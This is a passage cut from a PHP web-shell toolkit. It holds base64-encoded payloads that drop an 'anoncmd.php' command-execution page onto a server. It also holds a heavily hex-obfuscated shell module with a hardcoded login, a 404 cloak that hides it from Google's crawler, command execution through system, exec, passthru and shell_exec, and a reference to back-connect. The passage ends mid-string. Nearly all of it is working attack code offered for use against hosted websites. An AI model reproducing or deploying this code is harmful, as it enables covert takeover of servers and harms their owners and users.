CiAgcGFkZGluZzogM3B4OwogIC13ZWJraXQtYm9yZGVyLXJhZGl1czogNHB4OwogIC1tb3otYm9yZGVyLXJhZGl1czogNHB4OwogIGJvcmRlci1yYWRpdXM6IDRweDsKICAtd2Via2l0LWJveC1zaGFkb3c6IHJnYigwLDExOSwwKSAwcHggMHB4IDsKfQogaW5wdXRbdHlwZT1zdWJtaXRdeyBwYWRkaW5nOiAzcHg7IGNvbG9yOiAjMDA3NzA7CiAgZm9udC13ZWlnaHQ6IGJvbGQ7IAp0ZXh0LWFsaWduOiBjZW50ZXI7IAogdGV4dC1zaGFkb3c6IDAgMXB4IHJnYmEoMjU1LCAyNTUsIDI1NSwgMC4zKTsKICBiYWNrZ3JvdW5kOiAjYWVhZWFlOyAKIGJhY2tncm91bmQtY2xpcDogcGFkZGluZy1ib3g7IAogYm9yZGVyOiAxcHggc29saWQgIzI4NDQ3MzsgCiBib3JkZXItYm90dG9tLWNvbG9yOiAjMjIzYjY2OyAKIGJvcmRlci1yYWRpdXM6IDRweDsgIApjdXJzb3I6IHBvaW50ZXI7ICAKYmFja2dyb3VuZC1pbWFnZTotd2Via2l0LWxpbmVhci1ncmFkaWVudCh0b3AsICNlYWVhZWEsICNkMGQwZDApOwogYmFja2dyb3VuZC1pbWFnZTogLW1vei1saW5lYXItZ3JhZGllbnQodG9wLCAjZWFlYWVhLCAjZDBkMGQwKTsKICBiYWNrZ3JvdW5kLWltYWdlOiAtby1saW5lYXItZ3JhZGllbnQodG9wLCAjZWFlYWVhLCAjZDBkMGQwKTsgCiBiYWNrZ3JvdW5kLWltYWdlOiBsaW5lYXItZ3JhZGllbnQodG8gYm90dG9tLCAjZWFlYWVhLCAjZDBkMGQwKTsgCiAtd2Via2l0LWJveC1zaGFkb3c6IGluc2V0IDAgMXB4IHJnYmEoMjU1LCAyNTUsIDI1NSwgMC41KSwgaW5zZXQgMCAwIDdweCByZ2JhKDI1NSwgMjU1LCAyNTUsIDAuNCksIDAgMXB4IDFweCByZ2JhKDAsIDAsIDAsIDAuMTUpOyAgYm94LXNoYWRvdzogaW5zZXQgMCAxcHggcmdiYSgyNTUsIDI1NSwgMjU1LCAwLjUpLCBpbnNldCAwIDAgN3B4IHJnYmEoMjU1LCAyNTUsIDI1NSwgMC40KSwgMCAxcHggMXB4IHJnYmEoMCwgMCwgMCwgMC4xNSk7IH0gCgppbnB1dFt0eXBlPXRleHRdeyBwYWRkaW5nOiAzcHg7IGNvbG9yOiAjMDA3NkIxOyB0ZXh0LXNoYWRvdzogIzAwNzZCMSAwcHggMHB4IDNweDsgYm9yZGVyOiAxcHggc29saWQgIzAwNzZCMTsgYmFja2dyb3VuZDogdHJhbnNwYXJlbnQ7IGJveC1zaGFkb3c6IDBweCAwcHggNHB4ICMwMDc2QjE7ICAgIHBhZGRpbmc6IDNweDsgICAtd2Via2l0LWJvcmRlci1yYWRpdXM6IDRweDsgICAtbW96LWJvcmRlci1yYWRpdXM6IDRweDsgICBib3JkZXItcmFkaXVzOiA0cHg7ICAgLXdlYmtpdC1ib3gtc2hhZG93OiByZ2IoODUsODUsODUpIDBweCAwcHggNHB4OyAgIC1tb3otYm94LXNoYWRvdzogIzAwNzZCMSAwcHggMHB4IDRweDt9IAoKCgoKPC9zdHlsZT4KPD9waHAKZWNobyAnCjxjZW50ZXI+Cjxmb3JtIG1ldGhvZD1HRVQ+CjxwPjx0ZXh0YXJlYSBjbGFzcz0iYXJlYSIgcm93cz0iMTMiIG5hbWU9InRleHQiIHZhbHVlPSJweXQiIGNvbHM9IjcwIiA+JzsKCgppZiAoc3RybGVuKCRfR0VUWydjb21tYW5kJ10pPjEgJiYgJF9HRVRbJ2V4ZWNtZXRob2QnXSE9InBvcGVuIil7CmVjaG8gJF9HRVRbJ2V4ZWNtZXRob2QnXSgkX0dFVFsnY29tbWFuZCddKTt9CmlmIChzdHJsZW4oJF9QT1NUWydjb21tYW5kJ10pPjEgJiYgJF9QT1NUWydleGVjbWV0aG9kJ10hPSJwb3BlbiIpewplY2hvICRfUE9TVFsnZXhlY21ldGhvZCddKCRfUE9TVFsnY29tbWFuZCddKTt9CgppZiAoc3RybGVuKCRfR0VUWydjb21tYW5kJ10pPjEgJiYgJF9HRVRbJ2V4ZWNtZXRob2QnXT09InBvcGVuIil7CnBvcGVuKCRfR0VUWydjb21tYW5kJ10sInIiKTt9CgplY2hvJzwvdGV4dGFyZWE+PC9wPgo8cD48Y2VudGVyPjwvY2VudGVyPjwvcD4KPHAgYWxpZ249ImNlbnRlciI+PHN0cm9uZz48L3N0cm9uZz48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT0idnciIHNpemU9IjUwIiB2YWx1ZT0iY21kIj4gPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImNvbW1hbmQiIHNpemU9IjQzIj4gPHNlbGVjdCBuYW1lPWV4ZWNtZXRob2Q+CjxvcHRpb24gdmFsdWU9InN5c3RlbSI+U3lzdGVtPC9vcHRpb24+ICA8b3B0aW9uIHZhbHVlPSJleGVjIj5FeGVjPC9vcHRpb24+ICA8b3B0aW9uIHZhbHVlPSJwYXNzdGhydSI+UGFzc3RocnU8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJwb3BlbiI+cG9wZW48L29wdGlvbj4KPC9zZWxlY3Q+IDxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9ImtrayIgdmFsdWU9IkV4ZWN1dGUiPgo8L3A+PC9mb3JtPic7Cgo/Pg==';
1636 $file = fopen("anoncmd.php","w");
1637 $write = fwrite ($file ,base64_decode($anoncmd));
1638 fclose($file);
1639 header("location:anoncmd.php"); }
1640
1641 if(isset($_POST['madleets'])){
1642 $madleets = 'PD9waHAgCiRuYW1lID0gInVtYXIiOwokcGFzc3dvcmQgPSAidW1hciI7IAogJHsiXHg0N1x4NGNPXHg0Mlx4NDFceDRjUyJ9WyJceDczalx4NmZidlx4NzNuXHg2NVx4NmYiXT0iXHg3NFx4NjVceDczXHg3NF9jb21tXHg2MVx4NmVceDY0IjskeyJceDQ3XHg0Y09CXHg0MVx4NGNTIn1bImJkXHg2ZFx4N2F0d1x4NzllXHg3NSJdPSJwXHg2OFx4NzBceDY5XHg2ZWZvIjskeyJceDQ3XHg0Y09ceDQyQVx4NGNceDUzIn1bIlx4NjVceDcxXHg3NGJceDZlXHg3OVx4NmQiXT0iXHg3Mlx4NjVzdVx4NmNceDc0IjskeyJceDQ3XHg0Y09CQVx4NGNceDUzIn1bIlx4NjlceDc2XHg2MnBvXHg2NXBceDY3XHg3NVx4NjNceDdhIl09ImNoXHg2NGlyIjskeyJHXHg0Y09CQVx4NGNTIn1bInBceDc2XHg2Mlx4NmRceDczXHg2Zlx4NzRzIl09Ilx4NjNceDZmXHg2ZFx4NmRhXHg2ZVx4NjQiOyR7IkdceDRjXHg0ZkJBXHg0Y1x4NTMifVsiXHg2N1x4NzZjZm5uXHg3YVx4NjdkIl09InBceDYxXHg3Mlx4NzRceDczIjskeyJceDQ3XHg0Y1x4NGZceDQyQVx4NGNceDUzIn1bIlx4NjRmcVx4NmN4XHg3MVx4NjlceDZlXHg2NVx4NzlceDY0Il09ImNceDcyYXdceDZjXHg2NVx4NzJceDczIjskeyJHXHg0Y09ceDQyXHg0MUxceDUzIn1bIlx4NmFceDczXHg3MVx4NjVceDczXHg2MVx4NjVvIl09ImRhdFx4NjEiOyR7IkdMXHg0ZkJBXHg0Y1MifVsiXHg2M1x4NzF1bndoXHg2ZFx4NjYiXT0iclx4NjVceDczcFx4NmZceDZlXHg3M1x4NjUiO2Z1bmN0aW9uIGdldElzQ3Jhd2xlcigkdXNlckFnZW50KXskeyR7IkdMXHg0Zlx4NDJceDQxXHg0Y1x4NTMifVsiXHg2NGZceDcxXHg2Y1x4NzhxaW5lXHg3OVx4NjQiXX09Ilx4NDdceDZmXHg2Zlx4NjdsXHg2NXxceDZkXHg3M25ceDYyb3R8XHg1MmFceDZkXHg2Mlx4NmNlcnxceDU5XHg2MVx4NjhceDZmb3xBYlx4NjFceDYzXHg2OFx4NmZceDQyT1x4NTR8YVx4NjNceDYzXHg2Zlx4NmZceDZlXHg2MXwiLiJceDQxXHg2M1x4NjlvXHg1Mm9ceDYyb3R8QVNceDUwXHg1M2VlXHg2YnxDb2NceDZmQ1x4NzJceDYxXHg3N2xlcnxceDQ0XHg3NVx4NmRiXHg2ZnR8RkFTVC1XZVx4NjJDclx4NjF3bGVyfCIuIlx4NDdceDY1b1x4NmVceDYxQm9ceDc0fEdceDY5Z1x4NjFceDYyb1x4NzR8TFx4Nzljb3N8XHg0ZFx4NTNSQk9UfFx4NTNceDYzb1x4NmZceDc0XHg2NXJ8QVx4NmNceDc0XHg2MVx4NTZceDY5c1x4NzRceDYxfFx4NDlceDQ0XHg0Mm9ceDc0fFx4NjVceDUzXHg3NFx4NzlsZXxTY3JceDc1Ylx4NjJ5IjskaGhxZ2J3ZWg9ImlceDczQ1x4NzJceDYxXHg3N1x4NmNceDY1clx4NzMiOyRqeXd2dnBiPSJ1XHg3M1x4NjVceDcyQVx4Njdlblx4NzQiOyR7Ilx4NDdMXHg0ZkJBXHg0Y1x4NTMifVsiXHg3NVx4Njhvclx4NjFceDc2XHg2OCJdPSJpXHg3M0NceDcyXHg2MVx4NzdceDZjXHg2NVx4NzJzIjskeyR7IkdceDRjT1x4NDJceDQxXHg0Y1x4NTMifVsiXHg3NWhceDZmclx4NjFceDc2XHg2OCJdfT0ocHJlZ19tYXRjaCgiLyRjcmF3bGVycy9ceDY5IiwkeyRqeXd2dnBifSk+MCk7cmV0dXJuJHskaGhxZ2J3ZWh9O31mdW5jdGlvbiByZXNwb25zZSgkZGF0YSwkY29kZT0yMDAsJGVycm9yPSIiKXskbGFwd2V4c3JudT0iY1x4NmZkZSI7JHsiXHg0N1x4NGNPXHg0Mlx4NDFMXHg1MyJ9WyJ3XHg2Ylx4N2FuXHg2MVx4NjlceDc5XHg2YiJdPSJceDY1XHg3Mlx4NzJceDZmXHg3MiI7JGhlcGxidnJ4PSJceDcyXHg2NVx4NzNceDcwb25ceDczXHg2NSI7JHskeyJHXHg0Y09ceDQyXHg0MUxceDUzIn1bImNceDcxXHg3NVx4NmVceDc3XHg2OFx4NmRceDY2Il19WyJceDYzb2RlIl09JHskbGFwd2V4c3JudX07JHskaGVwbGJ2cnh9WyJlXHg3MnJceDZmXHg3MiJdPSR7JHsiXHg0N1x4NGNceDRmXHg0MkFceDRjXHg1MyJ9WyJ3a1x4N2FceDZlXHg2MVx4Njl5XHg2YiJdfTskY2JodGVvPSJyXHg2NVx4NzNceDcwb1x4NmVzXHg2NSI7JHskeyJceDQ3XHg0Y1x4NGZCXHg0MUxceDUzIn1bIlx4NjNceDcxXHg3NW5ceDc3aFx4NmRmIl19WyJceDY0YVx4NzRceDYxIl09JHskeyJceDQ3XHg0Y09ceDQyXHg0MVx4NGNceDUzIn1bIlx4NmFceDczcVx4NjVceDczXHg2MVx4NjVceDZmIl19O2VjaG8ganNvbl9lbmNvZGUoJHskY2JodGVvfSk7ZXhpdCgpO31mdW5jdGlvbiBpc1dpbmRvd3MoKXskd2N3cWVtb2RsY2w9InBoXHg3MGlceDZlXHg2Nlx4NmYiO29iX3N0YXJ0KCk7cGhwaW5mbygpOyR7JHdjd3FlbW9kbGNsfT1vYl9nZXRfY2xlYW4oKTtyZXR1cm4gcHJlZ19tYXRjaCgiflN5XHg3M3RlXHg2ZFx4MjA8L3RkXHgzZTx0XHg2NCBjXHg2Y2Fzcz1ceDIyXHg3Nlx4MjI+KFtePF0qV1x4NjlceDZlXHg2NFx4NmZ3cylceDdlIiwkeyR7IkdceDRjXHg0Zlx4NDJceDQxXHg0Y1MifVsiXHg2MmRceDZkXHg3YXR3eVx4NjVceDc1Il19KT90cnVlOmZhbHNlO30keyJceDQ3XHg0Y1x4NGZceDQyXHg0MVx4NGNceDUzIn1bIlx4NzdceDdhYnBceDZjYiJdPSJjXHg2Y1x4NjVceDYxXHg2ZSI7ZnVuY3Rpb24gZ2V0VmFsaWRDb21tYW5kRnVuY3Rpb24oKXskeyJceDQ3TFx4NGZceDQyQUxceDUzIn1bIlx4NzZmXHg3OW1ceDc1c1x4NzZceDc5Il09Ilx4NzJceDY1XHg3M1x4NzVsXHg3NCI7JGthcHpvd2o9Ilx4NzJlc1x4NzVceDZjXHg3NCI7JGlubHF3Y3pxZ3F3az0iclx4NjVceDczXHg3NVx4NmNceDc0IjskaGxqY3RqaT0iXHg3Mlx4NjVceDczXHg3NVx4NmN0IjskeyJceDQ3XHg0Y09ceDQyQVx4NGNTIn1bIlx4NzVceDY5XHg3OVx4NzBuXHg3N1x4NzRjdWciXT0iXHg3MmVzXHg3NVx4NmNceDc0IjskeyR7IkdceDRjXHg0Zlx4NDJBXHg0Y1MifVsic2pceDZmXHg2MnZceDczXHg2ZVx4NjVceDZmIl19PWlzV2luZG93cygpPyJkaXIiOiJceDZjXHg3MyI7JGJ5a3N5ZGNicj0iXHg3Mlx4NjVceDczXHg3NVx4NmN0IjtvYl9zdGFydCgpOyR7Ilx4NDdceDRjXHg0ZkJceDQxXHg0Y1x4NTMifVsiXHg3MVx4NjdceDY1XHg3MFx4NjhceDY4Il09Ilx4NzRceDY1c1x4NzRceDVmXHg2M1x4NmZceDZkXHg2ZGFceDZlZCI7JHsiXHg0N1x4NGNPXHg0MkFMXHg1MyJ9WyJxXHg3OWd1cVx4NmRceDc2XHg3NW9ceDZkXHg3OW4iXT0iXHg3Mlx4NjVzXHg3NWxceDc0IjskeyJceDQ3TE9ceDQyXHg0MVx4NGNTIn1bIlx4Njhnelx4NjRceDY0aWRceDYzXHg2NCJdPSJceDcyZVx4NzNceDc1XHg2Y1x4NzQiO3N5c3RlbSgkeyR7Ilx4NDdceDRjT0JceDQxXHg0Y1x4NTMifVsic1x4NmFceDZmYlx4NzZceDczblx4NjVvIl19KTskeyR7Ilx4NDdceDRjXHg0ZkJceDQxTFx4NTMifVsidVx4NjlceDc5cFx4NmV3XHg3NGNceDc1XHg2NyJdfT1vYl9nZXRfY29udGVudHMoKTska2xjY3djaW5pa3FlPSJyXHg2NVx4NzNceDc1XHg2Y1x4NzQiO29iX2VuZF9jbGVhbigpO2lmKHRyaW0oJHskeyJceDQ3XHg0Y1x4NGZceDQyQVx4NGNceDUzIn1bIlx4NzFceDc5XHg2N1x4NzVceDcxbVx4NzZceDc1XHg2Zlx4NmRceDc5XHg2ZSJdfSkhPSIiJiYhc3Ryc3RyKCR7JHsiR0xPXHg0MkFceDRjXHg1MyJ9WyJceDY1XHg3MVx4NzRceDYyXHg2ZVx4NzlceDZkIl19LCJceDY0XHg2OVx4NzNceDYxXHg2Mlx4NmNlZCBceDY2XHg2Zlx4NzJceDIwc2VceDYzdVx4NzJceDY5XHg3NHkiKSlyZXR1cm4ic1x4NzlceDczdGVceDZkIjskZ2hpZ3lnaHV4PSJceDcyZVx4NzNceDc1XHg2Y1x4NzQiOyRsZnN5bXdtd2tlZ3M9Ilx4NzJceDY1XHg3M3VceDZjXHg3NCI7JHskYnlrc3lkY2JyfT1leGVjKCR7JHsiXHg0N0xceDRmXHg0Mlx4NDFceDRjUyJ9WyJceDczXHg2YW9iXHg3NnNuXHg2NVx4NmYiXX0pO2lmKHRyaW0oJHska2Fwem93an0pIT0iIiYmIXN0cnN0cigkeyR7Ilx4NDdMXHg0ZkJBXHg0Y1MifVsiaFx4NjdceDdhXHg2NFx4NjRpZFx4NjNceDY0Il19LCJceDY0aXNhYlx4NmNlXHg2NFx4MjBmXHg2Zlx4NzIgXHg3M2VjdVx4NzJceDY5dFx4NzkiKSlyZXR1cm4iZVx4NzhceDY1XHg2MyI7b2Jfc3RhcnQoKTtwYXNzdGhydSgkeyR7Ilx4NDdceDRjXHg0Zlx4NDJceDQxTFx4NTMifVsic1x4NmFceDZmXHg2Mlx4NzZzblx4NjVvIl19KTskeyRnaGlneWdodXh9PW9iX2dldF9jb250ZW50cygpO29iX2VuZF9jbGVhbigpO2lmKHRyaW0oJHskbGZzeW13bXdrZWdzfSkhPSIiJiYhc3Ryc3RyKCR7JGtsY2N3Y2luaWtxZX0sIlx4NjRceDY5c1x4NjFibGVceDY0IGZceDZmclx4MjBzZWNceDc1cml0XHg3OSIpKXJldHVybiJwXHg2MXNzXHg3NFx4NjhceDcyXHg3NSI7JHskaGxqY3RqaX09c2hlbGxfZXhlYygkeyR7IkdceDRjXHg0Zlx4NDJBXHg0Y1x4NTMifVsicVx4NjdlcFx4NjhoIl19KTtpZih0cmltKCR7JHsiXHg0N1x4NGNceDRmQlx4NDFceDRjUyJ9WyJ2XHg2Nlx4NzlceDZkdXNceDc2XHg3OSJdfSkhPSIiJiYhc3Ryc3RyKCR7JGlubHF3Y3pxZ3F3a30sIlx4NjRceDY5c1x4NjFceDYyXHg2Y2VkIGZceDZmciBceDczZWNceDc1XHg3Mlx4NjlceDc0eSIpKXJldHVybiJceDczaGVsXHg2Y1x4NWZceDY1XHg3OFx4NjVjIjt9ZnVuY3Rpb24gZXhlY3V0ZSgkY29tbWFuZCwkZnVuY3Rpb24sJG5fdG9fYnI9dHJ1ZSl7JHB5cGtlZW9naWo9Ilx4NzJlXHg3M1x4NzVsXHg3NCI7JHsiXHg0N1x4NGNPXHg0Mlx4NDFceDRjXHg1MyJ9WyJceDcxXHg3OVx4NmVceDY0XHg2M2lkYiJdPSJmXHg3NVx4NmVjXHg3NGlceDZmbiI7JHsiR0xceDRmXHg0Mlx4NDFMXHg1MyJ9WyJceDY5XHg3NFx4NmRceDc0Zlx4NmVceDY5XHg3MFx4NjlkIl09ImNceDZmXHg2ZFx4NmRceDYxXHg2ZWQiOyR7JHsiXHg0N0xceDRmQkFceDRjXHg1MyJ9WyJceDY5dlx4NjJceDcwXHg2ZmVwXHg2N1x4NzVceDYzXHg3YSJdfT0iIjska3FwdnFoY212cm1jPSJceDcyZVx4NzNceDc1XHg2Y1x4NzQiOyRyeGR5aXplaz0ibl9ceDc0b1x4NWZiXHg3MiI7aWYoJF9TRVNTSU9OWyJ0ZXJceDZkaVx4NmVhbCJdWyJceDcwYVx4NzRceDY4Il0hPSIiKXtpZihpc1dpbmRvd3MoKSl7aWYoIUBjaGRpcigkX1NFU1NJT05bIlx4NzRceDY1cm1pbmFsIl1bInBceDYxdGgiXSkpeyRfU0VTU0lPTlsiXHg3NFx4NjVybVx4NjlceDZlYVx4NmMiXVsiXHg3MFx4NjF0XHg2OCJdPSIiOyRydmV0bXdlPSJceDY0XHg2MXRceDYxIjskeyRydmV0bXdlfVsiXHg3MmVzXHg3NWx0Il09Ilx4NTlceDZmdSBhcmVceDIwXHg3Mlx4NjVceDY0XHg2OVx4NzJlXHg2M3RceDY1ZCBceDYyYWNceDZiIHRceDZmIHRceDY4ZSBvXHg3MmlceDY3XHg2OW5hXHg2YyBkaVx4NzJceDY1Y3RceDZmXHg3Mlx4NzksIGJceDY1Y1x4NjFceDc1XHg3M2UgXHg2OVx4NzQgXHg3N1x4NjFceDczIFx4NmVvdCBhbFx4NmNvd2VceDY0XHgyMFx4NzRvIFx4NmZceDcwXHg2NW5ceDIwdFx4Njhpc1x4MjBceDY0XHg2OXJlXHg2M3RceDZmXHg3MnkuIjtyZXNwb25zZSgkeyR7IkdceDRjXHg0ZkJceDQxXHg0Y1MifVsiXHg2YVx4NzNceDcxZXNceDYxXHg2NVx4NmYiXX0pO319ZWxzZXskeyJceDQ3XHg0Y1x4NGZCQVx4NGNceDUzIn1bIlx4NzFceDZhXHg2Ylx4NmFceDYyXHg2NFx4NzciXT0iY1x4NjhceDY0XHg2OVx4NzIiOyR7JHsiR0xPXHg0MkFMUyJ9WyJceDcxXHg2YVx4NmJceDZhXHg2Mlx4NjRceDc3Il19PSJceDYzZFx4MjAiLiRfU0VTU0lPTlsidFx4NjVceDcybVx4NjlceDZlYWwiXVsicFx4NjF0aCJdLiJcbiI7fX0kZmd1cHFpYXo9Ilx4NjNceDZmXHg2ZFx4NmRceDYxXHg2ZVx4NjQiO3N3aXRjaCgkeyR7Ilx4NDdceDRjXHg0Zlx4NDJBTFMifVsiXHg3MVx4NzluXHg2NGNpZFx4NjIiXX0pe2Nhc2UiXHg3M1x4NzlceDczXHg3NFx4NjVtIjpvYl9zdGFydCgpO3N5c3RlbSgkeyR7Ilx4NDdceDRjXHg0ZkJceDQxXHg0Y1MifVsiaXZceDYycFx4NmZlcFx4NjdceDc1XHg2M1x4N2EiXX0uJHskZmd1cHFpYXp9KTskeyR7Ilx4NDdceDRjT1x4NDJceDQxTFMifVsiXHg2NVx4NzFceDc0XHg2Mm55XHg2ZCJdfT1vYl9nZXRfY29udGVudHMoKTtvYl9lbmRfY2xlYW4oKTticmVhaztjYXNlImV4XHg2NWMiOiR7JHB5cGtlZW9naWp9PWV4ZWMoJHskeyJHTFx4NGZCXHg0MVx4NGNceDUzIn1bIlx4Njl2XHg2MnBceDZmZVx4NzBnXHg3NWNceDdhIl19LiR7JHsiXHg0N0xceDRmQlx4NDFceDRjXHg1MyJ9WyJceDY5XHg3NFx4NmRceDc0Zm5ceDY5XHg3MFx4NjlceDY0Il19KTticmVhaztjYXNlInBceDYxXHg3M3N0aFx4NzJ1IjpvYl9zdGFydCgpO3Bhc3N0aHJ1KCR7JHsiXHg0N0xceDRmXHg0MkFceDRjXHg1MyJ9WyJpXHg3NmJwb1x4NjVceDcwZ1x4NzVceDYzeiJdfS4keyR7Ilx4NDdceDRjXHg0ZkJceDQxXHg0Y1x4NTMifVsiXHg3MFx4NzZceDYybXNvXHg3NFx4NzMiXX0pOyR7JHsiXHg0N1x4NGNceDRmXHg0Mlx4NDFMXHg1MyJ9WyJlcXRiXHg2ZVx4NzlceDZkIl19PW9iX2dldF9jb250ZW50cygpO29iX2VuZF9jbGVhbigpO2JyZWFrO2Nhc2Uic1x4NjhceDY1XHg2Y2xceDVmZXhceDY1XHg2MyI6JHska3FwdnFoY212cm1jfT1zaGVsbF9leGVjKCR7JHsiXHg0N0xceDRmQlx4NDFceDRjXHg1MyJ9WyJceDY5XHg3Nlx4NjJceDcwXHg2ZmVwZ1x4NzVceDYzeiJdfS4keyR7IkdceDRjXHg0ZkJceDQxTFx4NTMifVsicFx4NzZceDYyXHg2ZFx4NzNceDZmdFx4NzMiXX0pO2JyZWFrO2RlZmF1bHQ6JHskeyJceDQ3TFx4NGZceDQyQUxceDUzIn1bIlx4NjVxXHg3NGJceDZleVx4NmQiXX09ZmFsc2U7YnJlYWs7fXJldHVybiR7JHJ4ZHlpemVrfT9ubDJicihodG1sc3BlY2lhbGNoYXJzKCR7JHsiXHg0N1x4NGNceDRmXHg0MkFMXHg1MyJ9WyJceDY1XHg3MVx4NzRceDYyXHg2ZVx4NzlceDZkIl19KSk6aHRtbHNwZWNpYWxjaGFycygkeyR7IkdceDRjXHg0Zlx4NDJBTFMifVsiXHg2NVx4NzF0XHg2Mlx4NmVceDc5bSJdfSk7fWZ1bmN0aW9uIGNvbXByZXNzX3BhdGgoJHBhdGgpeyR5YXVwa2VkPSJceDcwXHg2MVx4NzRceDY4IjskaGhlYmx3Yj0iXHg2M1x4NmNlXHg2MVx4NmUiOyR7JHsiXHg0N0xceDRmXHg0Mlx4NDFMXHg1MyJ9WyJceDc3XHg3YVx4NjJceDcwXHg2Y2IiXX09c3RyX3JlcGxhY2UoIlx4NWMiLCIvIiwkeyR5YXVwa2VkfSk7JHskaGhlYmx3Yn09c3RyX3JlcGxhY2UoYXJyYXkoIi8vLy8iLCIvLy8iLCIvLyIpLCIvIiwkeyR7IkdceDRjXHg0Zlx4NDJceDQxXHg0Y1x4NTMifVsiXHg3N1x4N2FceDYyXHg3MFx4NmNiIl19KTtpZihzdWJzdHIoJHskeyJceDQ3XHg0Y1x4NGZCXHg0MVx4NGNceDUzIn1bIlx4NzdceDdhYlx4NzBceDZjXHg2MiJdfSwwLDEpPT0iLyIpJHskeyJceDQ3XHg0Y09ceDQyQVx4NGNTIn1bInd6XHg2Mlx4NzBsXHg2MiJdfT1zdWJzdHIoJHskeyJceDQ3XHg0Y1x4NGZceDQyXHg0MVx4NGNTIn1bIndceDdhYlx4NzBceDZjXHg2MiJdfSwxKTtyZXR1cm4keyR7Ilx4NDdceDRjT1x4NDJBXHg0Y1x4NTMifVsiXHg3N1x4N2FceDYycGxceDYyIl19O31mdW5jdGlvbiBjb2xvcl9jb21tYW5kKCRjb21tYW5kKXskb3Jtb21iampsPSJceDcwXHg2MVx4NzJceDc0XHg3MyI7JHsiXHg0N0xceDRmQlx4NDFceDRjUyJ9WyJceDY1XHg3OG96aVx4NzNceDY5Il09Ilx4NjNvbVx4NmRceDYxXHg2ZVx4NjQiOyR7JHsiXHg0N1x4NGNceDRmQlx4NDFMXHg1MyJ9WyJceDY3XHg3Nlx4NjNceDY2bm5ceDdhZ1x4NjQiXX09ZXhwbG9kZSgiXHgyMCIsJHskeyJceDQ3XHg0Y1x4NGZceDQyXHg0MVx4NGNceDUzIn1bIlx4NjVceDc4XHg2ZnpceDY5c1x4NjkiXX0pOyR7JG9ybW9tYmpqbH1bMF09Ilx4M2NzcFx4NjFuXHgyMFx4NjNceDZjXHg2MXNzPVx4MjJrZXl3b1x4NzJceDY0XHgyMlx4M2UiLiR7JHsiXHg0N0xPQlx4NDFceDRjUyJ9WyJceDY3XHg3Nlx4NjNceDY2XHg2ZVx4NmVceDdhZ2QiXX1bMF0uIjwvXHg3M3BceDYxXHg2ZVx4M2UiO3JldHVybiBpbXBsb2RlKCIgIiwkeyR7IkdceDRjXHg0Zlx4NDJBTFMifVsiXHg2N3ZceDYzXHg2Nlx4NmVuXHg3YVx4NjdceDY0Il19KTt9JHsiXHg0N1x4NGNceDRmXHg0Mlx4NDFceDRjUyJ9WyJkdVx4NjZceDY1XHg2OVx4NjdceDY5XHg3YSJdPSJ3IjskeyJceDQ3XHg0Y1x4NGZCXHg0MUxTIn1bIlx4NmNceDYzXHg2Y1x4NjdceDc2XHg3OVx4NjRceDc4XHg3YXRceDZiXHg3MyJdPSJceDY5c2NyXHg2MVx4NzdsZVx4NzIiO2Vycm9yX3JlcG9ydGluZygwKTskeyJHTFx4NGZceDQyQVx4NGNceDUzIn1bIlx4NzZ1XHg2Ylx4NzlceDc0cVx4NzYiXT0iXHg2M1x4NmZuZmlceDY3XHg1Zlx4NzdceDY1XHg2Y1x4NjNceDZmXHg2ZFx4NjUiOyR7Ilx4NDdceDRjT1x4NDJceDQxTFx4NTMifVsiXHg2OVx4NzNceDc5XHg3M1x4NmZceDcwIl09Ilx4NmVceDYxXHg2ZGUiOyR7Ilx4NDdMT1x4NDJBTFx4NTMifVsia3BceDczdFx4NzV5eFx4NjUiXT0iZiI7JHsiXHg0N0xceDRmQlx4NDFceDRjXHg1MyJ9WyJceDYxbm1ceDc0XHg3M1x4NjVceDc1XHg2OVx4Njl5XHg3NiJdPSJiXHg2MyI7JHsiXHg0N1x4NGNPXHg0MkFceDRjXHg1MyJ9WyJsXHg2YVx4NjVceDc3a3ZceDZiY1x4NzUiXT0iXHg2Nlx4NjlceDZjZSI7JHsiR1x4NGNceDRmQkFMUyJ9WyJceDc5XHg3MFx4NzZceDc5XHg2OFx4NzhqYlx4NmYiXT0iXHg2NnciOyR7Ilx4NDdceDRjXHg0ZkJBTFMifVsiXHg3OHlceDZjXHg3M1x4NjJceDY3XHg2NCJdPSJceDY5c1x4NjNceDcyXHg2MVx4NzdsZVx4NzIiOyR7Ilx4NDdceDRjT0JceDQxXHg0Y1x4NTMifVsiXHg3M1x4NmRceDc4XHg2NFx4NmZkXHg3OW5ceDY4Il09Ilx4NjNvXHg2NFx4NjUiOyR7IkdceDRjXHg0ZkJceDQxXHg0Y1x4NTMifVsiXHg2Nlx4NzVceDY5XHg3NWxceDY4bSJdPSJceDcwYVx4NzNceDczIjskeyJHTFx4NGZceDQyXHg0MVx4NGNceDUzIn1bIlx4NmNceDcxXHg2OWlceDY0XHg3NSJdPSJceDczaFx4NjVceDZjXHg2YyI7JHsiXHg0N1x4NGNPXHg0Mlx4NDFMXHg1MyJ9WyJ1XHg3M1x4NjZceDc1XHg2M1x4NmN3elx4NzAiXT0iY1x4NmZceDZlXHg2Nlx4NjlceDY3XHg1ZmNvXHg2ZG1ceDYxblx4NjRfXHg3MFx4NzJceDY1Zlx4Njl4IjtzZXNzaW9uX3N0YXJ0KCk7aWYoc3RycG9zKCRfU0VSVkVSWyJIVFRceDUwXHg1Zlx4NTVceDUzXHg0NVJfQUdFXHg0ZVx4NTQiXSwiXHg0N1x4NmZvZ2xceDY1IikhPT1mYWxzZSl7aGVhZGVyKCJIVFRQLzFceDJlXHgzMCBceDM0XHgzMDQgXHg0ZVx4NmZ0IEZvXHg3NW5ceDY0Iik7ZXhpdDt9JHsiXHg0N1x4NGNPQkFceDRjXHg1MyJ9WyJceDczeHJceDc5XHg3M1x4NzJceDY2XHg2ZFx4NzkiXT0iXHg2Mlx4NjFceDYzXHg2Yl9ceDYzXHg2Zm5ceDZlXHg2NVx4NjNceDc0IjskeyJceDQ3XHg0Y1x4NGZceDQyQVx4NGNceDUzIn1bIlx4NzB4XHg3MFx4NzB2dWgiXT0iY29ceDZlXHg2NmlceDY3XHg1Zlx4NjNvXHg2ZG1hblx4NjRfcFx4NzJlZlx4NjlceDc4IjskeyR7IkdceDRjT1x4NDJBXHg0Y1x4NTMifVsiXHg3OHlceDZjXHg3M1x4NjJnXHg2NCJdfT1nZXRJc0NyYXdsZXIoJF9TRVJWRVJbIkhceDU0XHg1NFx4NTBceDVmXHg1NVNFUl9ceDQxXHg0N1x4NDVOVCJdKTskeyJceDQ3XHg0Y1x4NGZceDQyQUxceDUzIn1bImd1XHg3YVx4NmZwXHg3MFx4NzBu